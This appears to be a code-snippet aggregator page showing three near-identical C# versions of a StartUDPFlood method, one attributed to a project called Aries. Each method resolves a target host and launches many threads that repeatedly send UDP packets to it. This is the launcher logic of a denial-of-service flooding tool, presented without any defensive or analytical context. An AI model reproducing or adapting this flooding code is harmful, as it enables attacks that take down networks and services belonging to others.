Example #1
0
File: UDP.cs Project: EAXrec/Aries
        public void StartUDPFlood()
        {
            killThread = false;
            try
            {
                IPEo = Dns.GetHostEntry(new Uri(sFHost).Host).AddressList[0];
            }
            catch
            {
                IPEo = IPAddress.Parse(sFHost);
            }

            tFloodingThread = new Thread[iThreads];
            tFloodingJob = new ThreadStart[iThreads];
            UDPClass = new UDPRequest[iThreads];

            for (int i = 0; i < iThreads; i++)
            {
                UDPClass[i] = new UDPRequest(IPEo, uPort);
                tFloodingJob[i] = new ThreadStart(UDPClass[i].Send);
                tFloodingThread[i] = new Thread(tFloodingJob[i]);
                tFloodingThread[i].Start();
            }
            Config.Flooding = true;
        }
Example #2
0
        public static void StartUDPFlood()
        {
            try
            {
                IPEo = new IPEndPoint(Dns.GetHostEntry(sFHost).AddressList[0], uPort);
            }
            catch
            {
                IPEo = new IPEndPoint(IPAddress.Parse(sFHost), uPort);
            }

            tFloodingThread = new Thread[iThreads];
            tFloodingJob    = new ThreadStart[iThreads];
            UDPClass        = new UDPRequest[iThreads];

            for (int i = 0; i < iThreads; i++)
            {
                UDPClass[i]        = new UDPRequest(IPEo, iUDPSockets, iPSize);
                tFloodingJob[i]    = new ThreadStart(UDPClass[i].Send);
                tFloodingThread[i] = new Thread(tFloodingJob[i]);
                tFloodingThread[i].Start();
            }
        }
Example #3
0
        public static void StartUDPFlood()
        {
            try
            {
                IPEo = new IPEndPoint(Dns.GetHostEntry(sFHost).AddressList[0], uPort);
            }
            catch
            {
                IPEo = new IPEndPoint(IPAddress.Parse(sFHost), uPort);
            }

            tFloodingThread = new Thread[iThreads];
            tFloodingJob = new ThreadStart[iThreads];
            UDPClass = new UDPRequest[iThreads];

            for (int i = 0; i < iThreads; i++)
            {
                UDPClass[i] = new UDPRequest(IPEo, iUDPSockets, iPSize);
                tFloodingJob[i] = new ThreadStart(UDPClass[i].Send);
                tFloodingThread[i] = new Thread(tFloodingJob[i]);
                tFloodingThread[i].Start();
            }
        }